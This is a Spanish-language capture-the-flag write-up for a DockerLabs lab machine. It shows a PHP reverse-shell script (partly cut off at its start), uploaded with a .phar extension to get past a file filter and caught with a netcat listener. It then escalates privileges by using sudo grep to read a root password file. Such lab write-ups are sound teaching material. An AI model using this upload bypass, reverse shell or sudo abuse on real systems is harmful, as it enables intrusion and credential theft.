> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/dockerlabs-write-up.md).
# DockerLabs write-up
## **Verificamos conexión con la máquina víctima**
## **Realizamos un escaneo para identificar los puertos abiertos de la máquina víctima**
Utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:
```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```
El escaneo nos indica que el puerto 80 (HTTP) está abierto. Así que ingresamos la IP de la máquina víctima en el navegador y observamos lo siguiente:
Como no encontramos nada interesante vamos a usar la herramienta llamada **Gobuster** para encontrar rutas y archivos ocultos con el siguiente comando:
```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,php,py
```
Esto nos muestra la ruta `http://172.17.0.2/machine.php`, así que ingresamos la dirección en el navegador y observamos lo siguiente:
Contemplamos que podemos subir archivos así que vamos a subir un archivo malicioso en PHP que al ejecutarse nos envíe un shell interactiva. El archivo contendrá el siguiente código:
```bash
array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
// Mostrar mensaje de bienvenida a la shell
fwrite($sock, $welcome_message);
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
```
Ahora lo intentamos subir y nos muestra lo siguiente:
Como no nos deja subir el archivo con extensión PHP. vamos a probar ahora si nos permite subir el archivo malicioso con extensión PHAR.
Vemos que ahora si nos permitió subir el archivo malicioso, así que ahora nos ponemos en escucha con **netcat** por el puerto que hayamos configurado en el código malicioso:
```bash
sudo nc -nlvvp 444
```
Y ahora ejecutamos el archivo ingresando la dirección `http://172.17.0.2/uploads/shell.phar`.
Y ya estaríamos dentro de la máquina víctima.
## **Escalada de privilegios**
Una vez estamos dentro de la máquina víctima, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar los binarios `/usr/bin/cut` y `/usr/bin/grep` como el usuario root sin necesidad de contraseña.
Ahora buscando por archivos con extensión TXT nos encontramos con la siguiente nota:
```bash
find / -name "*.txt" 2>/dev/null
```
Si imprimimos el contenido de la nota vemos lo siguiente:
Así que ahora vamos a utilizar el binario `/usr/bin/grep` para imprimir la contraseña por la terminal con el siguiente comando:
```bash
sudo /usr/bin/grep "" /root/clave.txt
```
Esto nos indica la contraseña del usuario root es `dockerlabsmolamogollon123`, así que ya podríamos iniciar sesión como root.